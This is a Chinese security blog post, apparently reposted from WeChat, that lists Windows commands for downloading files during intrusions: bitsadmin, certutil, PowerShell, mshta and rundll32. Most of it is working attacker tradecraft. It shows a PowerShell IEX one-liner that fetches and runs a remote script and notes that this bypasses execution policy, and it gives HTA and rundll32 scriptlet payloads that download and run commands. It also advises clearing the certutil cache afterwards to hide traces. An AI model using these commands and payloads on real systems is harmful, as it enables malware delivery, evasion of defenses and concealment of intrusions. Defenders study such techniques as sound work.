Windows中常用几种下载文件命令

admin 2021年3月14日13:06:34评论46 views字数 1824阅读6分4秒阅读模式

常见的下载方式主要有certutil、bitsadmin、powershell、rundll32以及mshta这几种;除这几种之外还有很多,但都是执行特定的脚本文件调用上述命令来下载,所以是换汤不换药,上面几种够在实战中使用了。

Windows中常用几种下载文件命令

 

Bitsadmin下载

 

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:abc.jpg"

注意:这个命令必须从根目录指定下载文件存放的位置,否则会报错

 

Certutil下载
certutil -urlcache -split -f http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg
注意:1、最后可以不跟参数,默认下载同文件名文件到当前目录,也可以指定具体存放位置和文件名
2、这个命令本来用来备份证书相关的,因此使用这个命令下载文件之后记得删除下载记录的缓存,使用如下命令即可:
certutil  -urlcache   -f   https://www.xxx.com/test.exe delete

 

Poweshell下载
powershell (new-object System.Net.WebClient).DownloadFile("http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg","1.jpg")

注意:使用powershell完成下载,在可以调用powershell的时候可以直接使用

powershell IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/whoami.ps1")

注意:这个命令会下载ps1脚本文件并执行,这种方式也可以绕过powershell的执行策略

 

Mshta下载
mshta http://127.0.0.1/whoami.hta

注意:这种使用mshta下载方式下载hta文件,下载的hta文件中可以写好payload,下载完成之后会自动执行,如果执行命令是没有回显的,以下是可以提供下载后执行命令的payload:

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc.exe"self.close</script><body>download</body></HEAD> </HTML>

Rundll32下载
rundll32.exe  javascript:"..mshtml,RunHTMLApplication ";o=GetObject("script:http://127.0.0.1/test.xml");window.close();

注意:一个古老的技术,rundll32这个东西本身是用于加载并运行32位动态链接库文件的;但很久以前爆出可以利用其执行javascript代码,于是就可以构造一个js下载文件的payload利用rundll32来执行,可用于下载的payload并执行命令的payload如下:(此处为xml格式,下载后缀弄成xml就行了,只要核心是javascript代码即可)

<?xml version="1.0"?>
<package><component id="testCalc">
<script language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]></script>
</component></package>

 

原文始发于微信公众号(增益安全):Windows中常用几种下载文件命令

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月14日13:06:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows中常用几种下载文件命令https://cn-sec.com/archives/784421.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息